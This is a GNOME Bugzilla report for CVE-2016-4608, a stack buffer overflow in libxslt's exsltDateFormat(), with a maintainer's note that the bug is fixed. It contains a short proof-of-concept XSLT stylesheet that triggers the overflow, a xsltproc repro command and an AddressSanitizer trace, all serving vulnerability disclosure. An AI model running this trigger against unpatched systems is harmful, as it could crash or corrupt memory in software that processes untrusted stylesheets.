After an evaluation, GNOME has moved from Bugzilla to GitLab. Learn more about GitLab.
No new issues can be reported in GNOME Bugzilla anymore.
To report an issue in a GNOME project, go to GNOME GitLab.
Do not go to GNOME Gitlab for: Bluefish, Doxygen, GnuCash, GStreamer, java-gnome, LDTP, NetworkManager, Tomboy.
Bug 765380 - (CVE-2016-4608) Stack-based buffer overflow in exsltDateFormat()
(CVE-2016-4608)
Stack-based buffer overflow in exsltDateFormat()
Status: RESOLVED FIXED
Product: libxslt
Classification: Platform
Component: general
git master
Other Linux
: Normal normal
: ---
Assigned To: Daniel Veillard
libxml QA maintainers
Depends on:
Blocks:
 
 
Reported: 2016-04-21 15:10 UTC by Nicolas Gregoire
Modified: 2017-06-12 22:56 UTC
See Also:
GNOME target: ---
GNOME version: ---


Attachments
PoC XSLT (253 bytes, application/xml)
2016-04-21 15:10 UTC, Nicolas Gregoire
Details

Description Nicolas Gregoire 2016-04-21 15:10:49 UTC
Created attachment 326497 [details]
PoC XSLT

In exsltDateFormat(), a 20-byte buffer is used when formatting a date when (dt->type & XS_GYEAR). This buffer will be filled with FORMAT_GYEAR, FORMAT_GMONTH and FORMAT_TZ. It's possible to overwrite a few bytes after the buffer. This bug is detected by ASan but will not crash a normal process (probably because of buffer alignments).

I wasn't able to overflow with more than 4 bytes. I don't think it's exploitable, even with a long timezone...

PoC:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:date="http://exslt.org/dates-and-times">
 <xsl:template match="/">
 <xsl:value-of select="date:add('9223372036854775807', 'P31D')"/>
 </xsl:template>
</xsl:stylesheet>

Repro:

$ xsltproc /dates_buffer_overflow.xsl empty.xml
==4195== ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe42696814 at pc 0x7f09cc065654 bp 0x7ffe426967b0 sp 0x7ffe426967a8
WRITE of size 1 at 0x7ffe42696814 thread T0
    #0 0x7f09cc065653 in exsltDateFormat /home/azureuser/libxslt/libexslt/date.c:1292
    #1 0x7f09cc065653 in exsltDateAdd /home/azureuser/libxslt/libexslt/date.c:2716
    #2 0x7f09cc065653 in exsltDateAddFunction /home/azureuser/libxslt/libexslt/date.c:3584
    #3 0x7f09cbd750a0 (/usr/lib/x86_64-linux-gnu/libxml2.so.2+0x910a0)
    #4 0x7f09cbd74f2a (/usr/lib/x86_64-linux-gnu/libxml2.so.2+0x90f2a)
    #5 0x7f09cbd774aa (/usr/lib/x86_64-linux-gnu/libxml2.so.2+0x934aa)
    #6 0x7f09cbd77642 (/usr/lib/x86_64-linux-gnu/libxml2.so.2+0x93642)
    #7 0x7f09cbd7b698 (/usr/lib/x86_64-linux-gnu/libxml2.so.2+0x97698)
    #8 0x7f09cc2cda64 in xsltPreCompEval /home/azureuser/libxslt/libxslt/transform.c:379
    #9 0x7f09cc2d3e03 in xsltValueOf /home/azureuser/libxslt/libxslt/transform.c:4563
    #10 0x7f09cc2ce9d9 in xsltApplySequenceConstructor /home/azureuser/libxslt/libxslt/transform.c:2755
    #11 0x7f09cc2d540b in xsltApplyXSLTTemplate /home/azureuser/libxslt/libxslt/transform.c:3216
    #12 0x7f09cc2d7153 in xsltProcessOneNode /home/azureuser/libxslt/libxslt/transform.c:2205
    #13 0x7f09cc2dd519 in xsltApplyStylesheetInternal /home/azureuser/libxslt/libxslt/transform.c:6054
    #14 0x7f09cc2de0d3 in xsltApplyStylesheetUser /home/azureuser/libxslt/libxslt/transform.c:6293
    #15 0x402896 in xsltProcess /home/azureuser/libxslt/xsltproc/xsltproc.c:414
    #16 0x4042e2 in main /home/azureuser/libxslt/xsltproc/xsltproc.c:925
    #17 0x7f09cb940ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
    #18 0x401e48 in _start (/usr/local/bin/xsltproc+0x401e48)
Address 0x7ffe42696814 is located at offset 52 in frame <exsltDateAddFunction> of T0's stack:
  This frame has 2 object(s):
    [32, 52) 'buf'
    [96, 196) 'tmp_buf'
Comment 1 Nick Wellnhofer 2016-04-28 19:00:32 UTC
Fixed with the following commit:

https://git.gnome.org/browse/libxslt/commit/?id=5d0c6565bab5b9b7efceb33b626916d22b4101a7